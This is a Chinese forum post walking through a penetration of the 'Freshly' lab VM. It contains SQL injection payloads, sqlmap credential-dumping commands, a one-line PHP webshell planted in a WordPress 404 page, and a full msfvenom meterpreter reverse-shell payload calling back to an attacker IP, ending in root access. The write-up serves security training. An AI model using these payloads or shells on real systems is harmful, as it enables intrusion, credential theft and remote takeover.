安全矩阵

 找回密码
 立即注册
搜索
查看: 6143|回复: 0

Freshly靶机渗透

[复制链接]

991

主题

1063

帖子

4315

积分

论坛元老

Rank: 8Rank: 8

积分
4315
发表于 2020-11-23 16:35:12 | 显示全部楼层 |阅读模式
原文链接:Freshly靶机渗透

信息收集


1.1、确认IP

nmap扫描确认主机存活,确认靶机IP:192.168.50.78
nmap -sn 192.168.50.1/24



1.2、扫描端口和服务

nmap扫描端口和服务,将结果报错到freshly.txt文件中
nmap -p- -A 192.168.50.78 -oN freshly.txt
收集的信息:
80         http
443       https
8080     http
linux3.2-4.9     ubuntu  apache2.4.7



1.3、访问http服务

访问80端口,http://192.168.50.78/, 一张图片,没有发现什么有用的信息



访问443端口,https://192.168.50.78/ ,找到一个wordpress站点
https://192.168.50.78/wordpress/





访问8080,http://192.168.50.78:8080/ ,还是得到这个页面
https://192.168.50.78/wordpress/

1.4、扫描目录

dirb扫描目录
/img/
/wordpress/



dirbuster扫描目录










找web漏洞

2.1、查看wordpress页面

访问了
/store/,/cart/,/checkout/,/express/,/ipn/,/receipt/,这几个目录,没找到什么有用的信息



访问
http://192.168.50.78:8080/wordpress/atom ,一个邮件订阅页面,没发现有什么用



在搜索处尝试SQL注入,没有成功,用sqlmap也没结果



访问
http://192.168.50.78:8080/wordpress/wp-admin/ ,是一个更新数据库的页面



更新了下,没发现页面有什么变化



页面跳转至
http://192.168.50.78:8080/wordpress/login ,wordpress后台的登陆页



提示密码错误,说明admin用户存在,尝试弱口令爆破,没有成功



在主页下方的留言板留言试试



页面跳转至
https://192.168.50.78/wordpress/wp-comments-post.php ,并提示错误,没测出来漏洞




2.2、wpscan扫描

用wpscan扫描下,没发现什么有用的信息




2.3、忽略掉的思路和方向

扫目录加上端口

扫描目录时,忘了加端口,而默认扫描的,不是80端口下的内容,导致扫描出来的目录不全
重新扫描,http://192.168.50.78:80/
得到新的方向:
http://192.168.50.78:80/login.php
http://192.168.50.78:80/phpmyadmin/   
http://192.168.50.78:80/javascript/



访问
http://192.168.50.78:80/phpmyadmin/ ,尝试爆破,失败



SQL注入

访问http://192.168.50.78:80/login.php ,发现是个登陆页面



尝试万能密码,发现单引号就能绕过
1' or 1=1 #



页面没有跳转,只有0和1的显示,属于布尔型的注入

确认数据库名长度

确认数据库名长度为5
1' or 1=1 and length(database())=5#  //回显1
1' or 1=1 and length(database())>5# //回显0





sqlmap

布尔盲注有些繁琐,还是用sqlmap跑下吧
先拿到POST请求包,在user=1后加个*指定下注入点,将请求包保存到sqltest.txt中
  1. POST /login.php HTTP/1.1
  2. Host: 192.168.50.78
  3. User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
  4. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
  5. Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
  6. Accept-Encoding: gzip, deflate
  7. DNT: 1
  8. Referer: http://192.168.50.78/login.php
  9. Cookie: PHPSESSID=qj4c92fpeec7236d5iio3eceb3; Cart66DBSID=O2RHWHKR2J77SNGIKR89DWXKCOAXPLIL3DQRF2VD
  10. Connection: close
  11. Upgrade-Insecure-Requests: 1
  12. Content-Type: application/x-www-form-urlencoded
  13. Content-Length: 26
  14. user=1*&password=1&s=Submi
复制代码

使用sqlmap进行测试

sqlmap -r sqltest.txt --batch



结果跑出来的是个时间盲注。。。



sqlmap -r sqltest.txt --dbs --batch

跑库名

  1. [*] information_schema
  2. [*] login
  3. [*] mysql
  4. [*] performance_schema
  5. [*] phpmyadmin
  6. [*] users
  7. [*] wordpress8080
复制代码




sqlmap -r sqltest.txt -D login --tables --batch

跑表名
  1. +-----------+
  2. | user_name |
  3. | users     |
  4. +-----------+
复制代码




sqlmap -r sqltest.txt -D users --tables --batch
结果,users下没有表



sqlmap -r sqltest.txt -D wordpress8080 --tables --batch
  1. +-------+
  2. | users |
  3. +-------+
复制代码




sqlmap -r sqltest.txt -D phpmyadmin --tables --batch
  1. +---------------------+
  2. | pma_bookmark        |
  3. | pma_column_info     |
  4. | pma_designer_coords |
  5. | pma_history         |
  6. | pma_pdf_pages       |
  7. | pma_recent          |
  8. | pma_relation        |
  9. | pma_table_coords    |
  10. | pma_table_info      |
  11. | pma_table_uiprefs   |
  12. | pma_tracking        |
  13. | pma_userconfig      |
  14. +---------------------+
复制代码




跑字段

查询login数据库下users表中的字段,password和user_name
sqlmap -r sqltest.txt -D login -T users --columns --batch

  1. +-----------+-------------+
  2. | Column    | Type        |
  3. +-----------+-------------+
  4. | password  | varchar(20) |
  5. | user_name | varchar(20) |
  6. +-----------+-------------+
复制代码




查询login数据库下user_name表中的字段,得到user_name字段
sqlmap -r sqltest.txt -D login -T user_name --columns --batch



查询wordpress8080数据库下users表中的字段,得到password与username字段
sqlmap -r sqltest.txt -D wordpress8080 -T users --columns --batch



跑值

查询login数据库下user_name表下的user_name字段的值,得到candyshop
sqlmap -r sqltest.txt -D login -T user_name -C user_name --dump --batch



查询login数据库下users表下的user_name字段的值,得到candyshop和Sir
sqlmap -r sqltest.txt -D login -T users -C user_name --dump --batch



查询login数据库下users表下的password字段的值,得到password和PopRocks
sqlmap -r sqltest.txt -D login -T users -C password --dump --batch



查询wordpress8080 数据库下users表下的username字段的值,得到admin
sqlmap -r sqltest.txt -D wordpress8080 -T users -C username --dump --batch



查询wordpress8080 数据库下users表下的password字段的值,得到SuperSecretPassword
sqlmap -r sqltest.txt -D wordpress8080 -T users -C password --dump --batch



2.4、拿shell

C刀

拿到上面三对账号密码尝试登陆Wordpress,只有admin与SuperSecretPassword可以登陆



既然成功登陆到Wordpress,这次还是利用404页面拿shell
试着直接往404页面末尾加入一句话木马
<?php @assert($_POST[x]); ?>



用蚁剑连接失败,用C刀可以连接404页面
https://192.168.50.78/wordpress/ ... es/Kratos-2/404.php   密码x



试着通过C刀的模拟终端来提权发现不行,干脆直接重新上传个webshell即可,但不知道为啥C刀一上传文件软件就崩溃了,算了,换个方式

msf反弹shell
通过msf生成php格式的webshell,将内容复制刀404.php中
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.50.131 LPORT=9999 -f raw >shell.php
得到shell.php的具体内容如下:

  1. /*<?php /**/ error_reporting(0); $ip = '192.168.50.131';
  2. $port = 9999;
  3. if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}");
  4. $s_type = 'stream';
  5. }
  6. if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port);
  7. $s_type = 'stream';
  8. }
  9. if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP);
  10. $res = @socket_connect($s, $ip, $port);
  11. if (!$res) { die();
  12. }
  13. $s_type = 'socket';
  14. }
  15. if (!$s_type) { die('no socket funcs');
  16. }
  17. if (!$s) { die('no socket');
  18. }
  19. switch ($s_type) { case 'stream': $len = fread($s, 4);
  20. break;
  21. case 'socket': $len = socket_read($s, 4); break;
  22. }
  23. if (!$len) { die();
  24. }
  25. $a = unpack("Nlen", $len);
  26. $len = $a['len']; $b = '';
  27. while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b));
  28. break; case 'socket': $b .= socket_read($s, $len-strlen($b));
  29. break;
  30. }
  31. }
  32. $GLOBALS['msgsock'] = $s;
  33. $GLOBALS['msgsock_type'] = $s_type;
  34. if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b);
  35. $suhosin_bypass();
  36. }
  37. else { eval($b);
  38. }
  39. die();
复制代码

将shell内容放到<?php  ?>标签中,然后复制到404.php最下方




msf监听9999端口
  1. use exploit/multi/handler
  2. set payload php/meterpreter/reverse_tcp
  3. set lhost 192.168.50.131
  4. set lport 9999
  5. exploit
复制代码

访问https://192.168.50.78/wordpress/wp-content/themes/Kratos-

2/404.php   这个404页面
成功反弹shell,使用python反弹终端
python -c 'import
pty;pty.spawn("/bin/bash")'



2.5、提权

输入su
输入密码SuperSecretPassword
成功提权至root



本来还查看了/etc/passwd,发现有用户candycane,输入密码password,切换了用户



再从candycane提权到root



没想到直接从daemon提权至root成功了。。。


总结

遇到的坑:

1、扫目录的时候没有加端口,以为不加端口就是默认扫描80端口。。没想到默认扫的是8080端口,导致一直没找到突破口
2、尝试菜刀拿shell时,通过菜刀连接,一上传或下载文件就卡死。。。
3、尝试msf反弹shell时,发现shell.php并无完整的php标签<?php ?>,随意将代码复制到了原404代码中的<?php ?>中,虽然也能成功反弹shell,但404.php页面会打不开



新get的思路和方法:

可以在保证404页面正常访问前提下,利用wordpress的404页面反弹shell









回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-9-20 15:30 , Processed in 0.014497 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表